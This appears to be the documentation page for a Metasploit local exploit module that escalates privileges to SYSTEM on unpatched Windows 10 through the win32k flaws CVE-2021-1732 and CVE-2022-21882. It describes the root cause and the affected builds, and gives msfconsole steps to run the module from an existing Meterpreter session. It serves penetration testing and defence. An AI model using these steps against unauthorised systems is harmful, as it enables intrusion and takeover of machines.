## Vulnerable Application
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to
achieve an out of bounds write operation, eventually leading to privilege escalation.

This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.
In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is
is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to
function on a wider range of Windows 10 targets.

Windows 10 builds 17134 (v1803) through 19041 (v20H1) will use the original technique from CVE-2021-1732, leveraging
`user32!CreateWindowEx` to trigger the `xxxClientAllocWindowClassExtraBytes` hook and corrupt the target window. Windows
10 builds 19042 (v20H2) through 19044 (v21H2) will use the updated technique from CVE-2022-21882, leveraging
`win32u!NtUserMessageCall` to trigger the `xxxClientAllocWindowClassExtraBytes` hook for the same effect.

### Installation And Setup
Windows 10 versions 1803 through 21H2 (without the patch) are vulnerable out of the box. This exploit module has been
tested on Windows 10 versions 1803, 1909, 20H1, 20H2 and 21H2.

## Verification Steps

1. Start msfconsole
1. Get a Meterpreter session on a vulnerable host
1. Do: `use exploit/windows/local/cve_2022_21882_win32k`
1. Set the `SESSION` and `PAYLOAD` options
1. Do: `run`
1. You should get a shell.
